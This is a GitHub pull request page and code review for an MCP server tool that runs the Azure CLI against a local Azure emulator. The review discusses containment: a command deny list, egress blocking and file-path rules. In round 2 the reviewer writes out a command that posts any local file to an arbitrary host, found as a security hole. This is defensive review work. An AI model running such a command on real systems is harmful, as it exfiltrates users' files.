Repository navigation
feat(azure): add the localstack-azure-client tool and Azure lifecycle support - #86
Conversation
Adds localstack-azure-client, a tool that runs the Azure CLI against the LocalStack for Azure emulator (never real Azure), and extends localstack-management to start, stop, restart and report the Azure emulator. - The tool runs the host's az (2.85 or newer) in an isolated CLI profile that is logged in to the emulator only. A policy refuses shell syntax, logins, profile changes, extension installs and commands that open a browser, shell or tunnel, and keeps file arguments inside the working directory and out of the user's credential folders. An egress guard rewrites absolute management.azure.com URLs and blocks every other host. Failures come back classified, with a hint. An experimental warm worker (LOCALSTACK_AZ_RUNNER=worker) keeps az imports loaded. - localstack-management: the Azure stack's container spec and port checks. A restart carries an externally started container's own settings, and refuses a container this machine cannot recreate. - Setup follows the Snowflake tool: the user installs the Azure CLI, and a missing az answers with the install commands. A new command, install-azure-addons, installs the pinned Azure CLI extensions and Bicep the tool uses. The init wizard is unchanged. The setup and the LOCALSTACK_AZ_* settings are documented in README.md and docs/DOCKER.md. - The Docker image bundles az 2.90, the 26 pinned extensions and Bicep, with image assertions and a size gate. - Tests: unit tests with an Azure coverage gate (90 % of lines), a live command matrix, the official Azure samples replayed through the tool, and model evals. New CI workflows: azure-live.yml and azure-weekly.yml. - CODEOWNERS requests @localstack/smurf and @HarshCasper on the Azure-only paths. .gitattributes keeps shell scripts LF and .cmd files CRLF on every checkout.
Comments, docs and fixtures state facts without citing internal plans, reviews, checks, test runs or benchmarks. build-corpus.py now builds the samples corpus from the in-repo extract.py and bash_argv.py output (the same 736 cases), and scripts/extract-leak-commands.mjs is removed: its input was never in the repository. tests/azure/README.md defines the test layers the CI jobs name.
The README's Azure section keeps its notes on using the emulator with the other tools. The E2 evals describe their builders, variants and seven answer-reading pitfalls on their own terms, and recorded fixtures use neutral resource names.
…he token Removes the weekly E2 job, the only one that needed an Anthropic API key. The emulator start stops as soon as the container exits and prints the licence reason. The ~/.azure fingerprint is taken before the emulator starts, the live path filter covers core, cli and the Azure fixtures, the weekly token is set per step, and the matrix YAML is pinned to LF.
File paths are checked as the OS opens them, analytics drop values stuck to short options, and the egress guard allows only the emulator's ports. The AWS client runs in the Snowflake container, stop and restart handle the Azure emulator beside an AWS one, and the MCP env block wins on restart. A venv Python in LOCALSTACK_AZ_PATH is run by its own path, and a Windows az behind any WSL mount is refused. Also fixes the warm worker's log level and cancel, LOCALSTACK_HOSTNAME and port hints, the tool description, server.json and fixture redaction, and removes internal references.
…cret The Azure jobs and steps take their token from LOCALSTACK_AUTH_TOKEN_AZURE, else LOCALSTACK_AUTH_TOKEN. The smoke test runs its AWS and Snowflake stages with LOCALSTACK_AUTH_TOKEN and the Azure stage on its own with the Azure token. Also repairs four comments that an earlier cleanup left with stray punctuation.
… work The Azure emulator shares files with the containers it starts for Function and Web Apps from /var/lib/localstack, and refuses to unless that folder is a bind mount. The CI start script and the internal-network job now bind-mount a runner folder there. Starting the Azure emulator on a named volume, as when this server runs in Docker, now says that app deployments need LOCALSTACK_VOLUME_DIR, and the Docker docs and README say so too.
One token whose licence covers AWS, Snowflake and Azure, with no fallback, so a gap in its licence fails the run instead of hiding behind LOCALSTACK_AUTH_TOKEN.
Its licence covers AWS, Snowflake and Azure, so the separate LOCALSTACK_AUTH_TOKEN_AZURE secret is gone.
|
Why #86 fails now when the same code passed on 29 Sep: Nothing in our code changed. #86 runs the same commit as #79's last green run (1f12bf3), and main after the revert is byte-for-byte what it was before #79. Two things outside the repo changed:
Everything else passes, including all the Azure live tests and the AWS and Snowflake scenarios. |
audit-ci --high now fails on this advisory, published on 30 Sep. It covers 1.14.0 to 1.14.4, which dockerode pulled in. Lockfile only.
localstack-docs calls an external search service. When that service times out, refuses, or returns a 5xx, the direct test is skipped and the image harness warns, each with the tool's answer. A 4xx or any other wrong answer still fails.
There was a problem hiding this comment.
Copilot review overview
🟡 Changes recommended
The review found a test parse failure, analytics data-exposure risk, and an unbounded warm-worker output path.
Review effort: Balanced
Findings: 2
Open (2)
What changed in this PR
Adds Azure emulator tooling, lifecycle management, containment, installation helpers, and extensive multi-layer validation.
Changes:
- Adds
localstack-azure-clientand Azure-aware management/preflight behavior. - Adds isolated Azure CLI/Bicep execution with policy and egress controls.
- Expands unit, live, drift, Docker, sample, and evaluation coverage.
| File | Description |
|---|---|
src/lib/azure/* |
Azure client runtime, policy, isolation, installation, and tests |
src/tools/localstack-*.ts |
Stack-aware preflight checks for existing tools |
src/cli/* |
Azure add-ons command and help |
src/lib/wizard/* |
Azure extension/Bicep setup helpers and tests |
src/lib/cli/argv.ts |
Shared CLI tokenizer |
src/lib/aws/aws-cli-sanitizer.ts |
Uses shared tokenizer |
src/core/analytics.ts |
Azure analytics fields |
src/tools-tests/localstack-management-ports.test.ts |
Port-safe lifecycle tests |
tests/azure/** |
Live matrix, drift, samples, evals, and utilities |
tests/fixtures/azure/** |
Azure CLI, worker, corpus, Bicep, and drift fixtures |
tests/mcp/** |
Azure MCP catalogue, offline, and Gemini tests |
tests/docker/** |
Image contents and size gates |
scripts/ci/** |
Azure CI startup, catalogue merge, and secret scanning |
data/sample-azure/** |
Azure harness sample resources |
data/evals/gemini-azure.json |
Azure tool-trigger dataset |
.github/workflows/ci.yml |
Cross-platform tests, coverage, and spawn smoke tests |
.github/actions/azure-live-setup/action.yml |
Reusable Azure live-test setup |
.github/CODEOWNERS |
Azure path ownership |
server.json |
Azure environment configuration |
manifest.json |
Azure tool and prompt registration |
package.json |
Azure test scripts and development dependencies |
playwright.config.mjs |
Isolated offline Azure MCP project |
jest.config.js |
Azure coverage and test TypeScript configuration |
jest.azure-live.config.js |
Azure live-test projects |
tsconfig.tests.json |
Test-code type checking |
docker/azure-extensions.txt |
Pinned Azure CLI extensions |
docker/image-size.json |
Recorded image-size baseline |
.gitattributes |
Cross-platform line-ending rules |
.gitignore |
Generated Azure test artifact exclusions |
.prettierignore |
Generated Azure fixture exclusions |
💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.
command_path took every leading word-shaped token, so a positional value (az find <term>) or an unknown command could reach analytics. It now keeps a word only if az's command table has it. scripts/gen-az-file-args.py --command-words generates the list (az 2.90.0 with the 26 curated extensions: 7,048 commands, 1,592 words), and DR4 checks it on every pin move. The property test now also tries secrets passed as positional values.
HarshCasper
left a comment
There was a problem hiding this comment.
I read the whole diff rather than sampling it, so this first round is about scope only. The reason #79 was reverted still applies here: at +77,071 / -264 across 224 files I can't review this change in a way that means anything. For comparison, the AWS client landed in about 330 lines (#3) and the Snowflake client in 235 (#21), and all of src/ on main is 14,695 lines. The tool itself is a good idea and parts of the implementation are careful. The problem is everything built around it.
What I'm asking for in this round: cut the PR down, on this same branch, to the tool, the service: "azure" change in localstack-management, and their unit tests. Under 3,000 lines including tests is the target. Put everything that comes out on a separate branch or a draft PR so it isn't lost; most of it can come back later in smaller PRs, each with the evidence it needs. Round 2 will be an ordinary correctness review of what remains.
What stays
Most of this already exists in the PR and only needs trimming.
src/tools/localstack-azure-client.tswithout theversionspecial case, the test envelope andrequireStack.bootstrap.tskeepsCLI_CONFIG,DUMMY_LOGIN,cloudConfigJson, the fiveazcalls and the marker file. The lock directory, the lease files, the version-check seed and the self-heal can go.runner.tsandchild-env.tskeep the spawn core (it fixes real problems incommand-runner.ts) and the allow-list environment. The semaphore, the Windows command-line length pre-check and the kill-step hooks can go.resolve-az.tskeepsLOCALSTACK_AZ_PATH, a PATH walk, theaz.cmdtopython.exemapping and the version probe. The launcher-text parsing per installer, the WSL guard and the localaz versionanswer can go.policy.tskeeps the shared tokenizer, an exact-match deny list of command prefixes and flags (login, logout, account clear, cloud, config, extension, upgrade, interactive, find, feedback, the browser and tunnel commands), themanagement.azure.comrewrite, and the file rule for existing files under the workdir. The two generated JSON tables,scripts/gen-az-file-args.pyandleak-commands.jsoncan go.emulator.tsandruntime-status.tsas they are, minus the guard-off branch.output.tscut down to: stdout on exit 0; otherwise stderr with the traceback frames stripped, a size cap, and the not-implemented and missing-extension hints. About 80 lines instead of 794 plus 1,100 lines of fixtures.- The tool's configuration moved from
src/core/config.tsintosrc/lib/azure, with these settings only:LOCALSTACK_AZURE_PORT,LOCALSTACK_AZURE_ENDPOINT,LOCALSTACK_AZURE_IMAGE_NAME,LOCALSTACK_AZ_PATH,LOCALSTACK_AZ_CONFIG_DIR,LOCALSTACK_AZ_WORKDIR,LOCALSTACK_AZ_TIMEOUT_SECONDS. - In
localstack-management: the image name, forwarding ofLS_AZURE_*, the volume note. - Unit tests for the above, trimmed with the code, plus
tests/mcp/azure-offline.spec.mjs. - README: a short setup section and rows for the seven settings.
What comes out, and why
-
Tests of the emulator,
azand the samples repo.tests/azure/matrix(393 cases over 29 provider files, 61 datedknown_gapentries, an operation catalogue the README says is for the portal), the drift gates, the samples shim and replay, the 16,831-line corpus, the egress-internal experiment, and the E2 harness intests/azure/evals(11,888 lines; a Claude agent loop with a spend cap). All of these measure the emulator,az, the samples repo or model behaviour. The PR description makes the point that new emulator coverage reaches users without a code change here; DR6 then requires a new YAML file in this repo for every provider the emulator adds, and the weekly job opens an issue when one is missing. That dependency points the wrong way. A per-service matrix, if the team wants one, belongs in the emulator repo and should driveazdirectly. What this repo needs is one short live smoke, around ten commands through the tool, onworkflow_dispatchand a weekly schedule. -
Snapshots of
azinternals that only the weekly job keeps honest.az-command-words.generated.jsonandaz-file-args.generated.json(2,926 lines generated fromazure-cliinternals), 26 extension pins taken against 2.90.0, the Bicep version and sha256 repeated in the Dockerfile,ci.yml, the composite action,docker.ymlandbicep-install.ts, 43 stderr fixtures recorded on Windows from oneazversion, and about 35 regexes overazstderr wording behind 25 failure classes inoutput.ts. The AWS client has two regexes. Every one of these goes stale as soon asazchanges, and nothing in the normal CI run catches it. -
Changes to code every AWS user runs.
src/core/preflight.tsandsrc/core/config.tsnow import fromsrc/lib/azure, and every tool imports preflight, so each tool's lazy chunk carries the Azure library. I built both commits: per-tool chunks go from about 190 KB to 320 KB and the unpacked package from 3.4 MB to 5.6 MB. The Azure preflights and config need to live undersrc/lib/azure.requireStackin twelve tools. For the Azure tool it repeats the edition checkemulator.tsalready does, through a second HTTP client. For the AWS tools I couldn't construct a case where it helps; it was behind one of the HIGH findings on #79; and with an AWS container running it now refuseslocalstack-snowflake-client, where main would at least runsnow. Take it out of this PR. If there's a case for it, it can be a PR of its own.- The container lookup changes (stack filtering, the published-port rule) and the side-by-side mode (
LOCALSTACK_AZURE_PORT, a restart that carries an external container's env, the unmountable-bind check). Side-by-side also has a loop today: withLOCALSTACK_AZURE_PORTset and no Azure emulator,statusand the tool both say to runstart, andstartrefuses with "Conflicting Azure port settings". Each of these can come back on its own with a scenario that fails without it.
-
CI and process.
ci.ymlmoves every PR to a three-OS matrix with a 90% coverage gate.azure-live.ymlstarts a real emulator on each PR (11 minutes, plus 16 for the samples job on this run).azure-weekly.ymlhas eight jobs and files issues assigned to me.CODEOWNERSadds the team and me to every Azure path. And the push job indocker.ymlnow depends on the oneLOCALSTACK_AUTH_TOKENbeing entitled for Azure, so no image publishes when it isn't. For this PR:ci.ymlstays as on main, one dispatch-plus-weekly smoke job replaces the two workflows, noCODEOWNERS, no auto-filed issues. -
The Docker image goes from 232 MB to 418 MB compressed, 110 MB of it the Bicep binary, for every user of the image. Whether to bundle
azand Bicep at all is a separate decision. Take it out of this PR together with the loopback forwarder (306 lines), which exists only because the health checks dial 127.0.0.1; inside the image the upstream host can beLOCALSTACK_HOSTNAME, as for the other tools. -
The warm worker:
worker-runner.ts,worker-script.tsand the fake-worker fixture, 1,074 lines with Python kept inside a TypeScript string. It is off by default, no CI job runs it against a realaz, and the README's "about 5x faster" has no benchmark in the repo. It can come back with one. -
install-azure-addonsand what sits behind it:extension-install.ts,bicep-install.ts, the wizard steps,scripts/install-azure-extensions.mjs, about 2,200 lines in all. The tool creates its own need for this:child-env.tspointsAZURE_EXTENSION_DIRat a private directory and the bootstrap setsextension.use_dynamic_install=no, so whatever the user has installed withaz extension addis invisible. Let the child inherit the user's extension directory read-only, keep the hint map inextension-map.ts(about 95 lines), and document Bicep with brew, winget oraz bicep install. -
The egress guard,
egress-proxy.ts(676 lines plus 953 of tests). The profile holds a dummy login and every cloud endpoint points at the emulator, so a request that did reach real Azure would carry no credential. A guard can still come in later, as its own PR, in the CONNECT-only form (around 180 lines) and with the threat model written down.
Smaller items that leave with the above: LOCALSTACK_AZ_DENYLIST_FILE, _MAX_HELP_CHARS, _RUNNER, _PYCACHE_DIR, _TEST_ENVELOPE, _FORWARD_TARGET, _EGRESS_GUARD, _BICEP_ENV, _EXTENSION_DIR and _BICEP_PATH, which takes server.json from 37 settings to about 27; the test-only envelope in the handler, which only the live suites read; and the tool description, which is 1,634 characters (the next largest tool's is 261) and embeds the server's absolute working directory. Three or four static sentences are enough there.
After the cut
Round 2 is a normal review of what's left. The rest can follow as separate PRs in whatever order suits the team: the egress guard with its threat model, the extension and Bicep handling, image bundling, the lifecycle extras, requireStack, and the worker with a benchmark. Each should be small enough to review in one sitting. If anything in this list is unclear, ask here and I'll expand on it.
Thanks @HarshCasper for the thorough review, I'm happy to cut the PR down to the scope you described but there are 4 points I'd like to settle first:
Everything that comes out goes to a parked branch with a draft PR, so it can come back in smaller PRs with evidence. |
|
Thanks, all four are fair questions. Here is where I land on each.
The parked branch with a draft PR is the right way to keep the rest. Go ahead with the cut. |
|
Thanks @HarshCasper, the cut is pushed. This PR is now the Azure tool, Per your review
Small things I kept, so you can push back on them
These two and their tests are why the total sits about 40 lines over 3,000 once the Parked: the full version is in draft #88, not for merge. Still to do after this merges
|
There was a problem hiding this comment.
Round 2. I read the whole diff again and ran the tool, the management actions and the unit and MCP suites on 78fc944. The trimmed PR is what round 1 asked for: the eight groups are out, the four decisions are in, the shared files are main's apart from the two Azure branches, and the per-tool chunks are back to their previous size. Thanks for the quick turnaround and for listing what you kept.
This round has three parts: things to fix before merge, pieces that are not ready to ship in this PR, and smaller items. The inline comments carry the details and line numbers; this body is the summary plus the items that have no line to attach to.
Fix before merge
restis an open HTTP client. The policy rewrites management.azure.com and passes every other absolute URL through, and with..as the only file rule,rest --method post --url http://<host>/x --body @/absolute/pathposts any readable file to any host. I ran it with az 2.70, an isolated profile and a local listener: the policy allowed it, az exited 0, the listener received the file. No emulator and no credential involved. A short check in the rest branch closes it, andopenWorldHintshould match whichever way you go. This is not the parked egress guard; it is the rest rule finishing what it started. (policy.ts:163)- The HTTPS readiness probe still dials 127.0.0.1 while the health URL now follows LOCALSTACK_HOSTNAME. In the Docker setup from docs/DOCKER.md,
status service: azurereports the HTTPS endpoint as not ready on every call andstartwaits the extra 10 s. (emulator.ts:144) - The container lookup does not recognise the image this PR launches. The regex at
docker.client.ts:158knowslocalstack-azure-alphaonly, so an Azure container not named localstack-main is invisible tostop,restartand the "other stack is running" message. One word,localstack-azure(?:-alpha)?, plus one image in the docker.client test. It is a one-word fix in the line main added for Azure, so I am fine with it touching that file. - LOCALSTACK_AZURE_ENDPOINT accepts
localhost,127.0.0.1and::1, and the README and the test usehttps://localhost:4566as the example. The gateway certificate carries localhost.localstack.cloud names only, and the child environment drops AZURE_CLI_DISABLE_CONNECTION_VERIFICATION, so those values pass every check and then every az call fails TLS with no way out. With one emulator at a time there is no configuration in which the setting does something the default does not. Take it out of this PR until there is one. (config.ts:39) - stderr is capped from the head and az prints its
ERROR:line last, so with--debugthe answer is 4,000 characters of log and no error. (output.ts:41) ~in a command argument resolves under the tool's private HOME, so--template-file ~/infra/main.jsonfails and nothing says why. (child-env.ts:56)
Not ready to ship in this PR
Each of these has a defect, has no real test, or misbehaves in a working setup. They are better off in their own PRs, each with the scenario and the test that go with it:
- The bootstrap lock directory. It breaks a live lock mid-bootstrap and can spin forever on a lock it cannot remove (inline comment).
- The 2.85 floor. I ran every bootstrap call on az 2.70 and all of them work; nothing in the PR names a 2.85 feature, and the floor refuses working installs. The
az versionprobe can go with it if you like. - The installed-extensions scan and its plumbing, which cannot change the hint (inline comment). The map itself is a copy of az 2.90's command table that nothing in CI keeps current; the inline comment has a simpler alternative.
- LOCALSTACK_AZURE_ENDPOINT (item 4 above).
- The exit and signal hooks, as you offered. They work, but their only test passes with the kill removed, and no other tool in the server does this.
- Progress notifications, which no test drives.
- The hunks that are also in #89, by rebasing on it, so they are reviewed once and cannot drift.
Of the things you kept, the WSL skip, the config-dir overlap check, the DNS check and the one-step cloud register stay; each is small and prevents something real. The second Playwright project stays too: the tester fixture reads its config from the project, so it is the only way to give the offline spec a dummy token and a free port.
Smaller items
Inline where there is a line: the .. rule with attached short-option values, the flag abbreviation rule, three missing deny entries, --version, the truncated-output title, the "within 0 s" wording, the child PATH when az is found off PATH, the LS_AZURE_ prefix, the volume note, the offline spec's skip guard, and the smoke workflow's az install. Without a line to attach to:
conflictResponsein localstack.utils.ts:355 still calls an Azure container "likely the AWS emulator";stackFromImagegives the right label.- services.ts, runtime-status.ts and preflight.ts have no unit tests and the tool test mocks all three, so the version probe's failure and retry, the isRunning mapping, the licence refusal and the Docker-image message run under no test. A small test file for each covers it.
- The bootstrap and the version probe do not receive
extra.signal, so a cancelled first call leavesaz loginrunning for up to the timeout. - README and server.json never document LOCALSTACK_PORT and LOCALSTACK_HOSTNAME, which the Azure rows and the tool's own advice now lean on. Two rows, or reword the rows.
After this round
If the six fixes land and the pieces above move to their own PRs, round 3 is an approval pass. The follow-up list in your comment stands as written; the lock and the hooks join it with the reproductions you described.
rest calls local hosts only; the HTTPS probe dials LOCALSTACK_HOSTNAME; the container lookup knows the Azure image; LOCALSTACK_AZURE_ENDPOINT is gone; stderr keeps its end; a leading ~ is the user's home. Moved out to follow-ups: the bootstrap lock, the 2.85 floor, the extension scan and map, the exit and signal hooks, progress notifications. New tests for services, runtime-status and preflight.
|
Thanks @HarshCasper, round 2 is pushed. Fix before merge: all six are done.
Moved out:
The #89 hunks drop out when I merge One exception: I kept Smaller items: all done, plus tests for services, runtime-status and preflight. Those tests are why the PR grew to about 3,260 lines (after #89). |
|
Hey @HarshCasper , round 2 on #86 is pushed and CI is green: #86 |
HarshCasper
left a comment
There was a problem hiding this comment.
Round 3. I read the diff again and ran it: the unit suite and the offline MCP spec pass here, and for each of the six fixes I reverted it in a scratch copy and watched its test fail, so the tests are real. Everything from round 2 is in: the six fixes, the pieces moved out, the smaller items, and the three new test files. The exception you kept, detached, is right: the Homebrew and Debian launchers are bash scripts that start Python without exec, and your new test shows the grandchild only dies with the process group. Thank you for the careful turnaround; this is the last round.
Before I approve
- The live smoke has never executed. The workflow is new, so GitHub only offers its manual trigger once the file is on main, and none of the three rounds had an emulator. It is the only test that drives the bootstrap against the emulator, the session keying, the dummy login and the rewritten
restURL. Please runyarn build && npx playwright test -c playwright.config.mjs tests/mcp/azure-smoke.spec.mjsonce with an Azure-entitled token and paste the step output here. One command, and the only evidence the end-to-end path works. - A narrow race in the runner: the timeout timer is not cleared when az exits, so a command that finishes inside the drain window just before the deadline, with a grandchild holding stdout, is reported as timed out and its output dropped. Reproduced with a stand-in; one line, inline.
Smaller items, inline
The -f~/x spelling the ~ expansion misses, two probe wordings, a few sentences of documentation (the tool description, the README hostname row, one about data-plane endpoints), four small test additions, and two test strings. Without a line to attach to: docs/DOCKER.md should say the image has no Azure CLI, so the Azure tool needs npx or source; only the README and the runtime answer say so today, and the image now lists 15 tools.
After this
On the next push I approve. The branch carries its whole history after the merge of main, so I will squash-merge. The follow-up list in your earlier comment stands; the data-plane egress guard stays the first of them, as agreed.
The runner's timeout no longer fires after az has exited; ~ after a short option is expanded; clearer az version probe answers; docs on ~, rest, data-plane endpoints, the hostname and the Docker image; more tests.
|
Thanks @HarshCasper.
The smaller items are done. Smoke output |
|
Thanks @HarshCasper. Both are done: line 47 is removed, and the Azure section is now docs/AZURE.md, linked from the README. |

What
Adds
localstack-azure-client, which runs Azure CLI (az) commands against the LocalStack for Azure emulator. It also addsservice: "azure"tolocalstack-management(start, stop, restart and status).azwith a profile of its own (LOCALSTACK_AZ_CONFIG_DIR), logged in to the emulator with a dummy account. It never uses or changes the user's Azure login...path traversal is refused, as in the AWS client.~means the user's home.rest:management.azure.comURL becomes a relative path.az: it is stopped, with everything it started, on a timeout and on a client cancel.LOCALSTACK_AZURE_IMAGE_NAME,LOCALSTACK_AZ_PATH,LOCALSTACK_AZ_CONFIG_DIR,LOCALSTACK_AZ_WORKDIRandLOCALSTACK_AZ_TIMEOUT_SECONDS.LOCALSTACK_HOSTNAMEandLOCALSTACK_PORT, as the other tools do. The README and server.json now document both.azyet. Inside it, the tool says so.Tests
az;service: azureinlocalstack-management.tests/mcp/azure-offline.spec.mjsruns inmcp-direct-tests, without an emulator..github/workflows/azure-smoke.ymlruns on demand and weekly. It starts the emulator withlocalstack-managementand runs a short tour ofazcommands through the tool.Not in this PR
Each of these comes later as its own small PR, with steps that reproduce the case it handles. The earlier full version is parked in draft #88, not for merge, and the follow-ups take their code from there.
azfrom reaching hosts other than the emulator, with the threat model written down.az, Bicep and a loopback forwarder, so the Azure tool works inside the image.requireStack: a clear answer when a tool meets another stack's emulator (AWS, Snowflake or Azure).azstill running is stopped when the server itself stops.azcalls, with a benchmark script.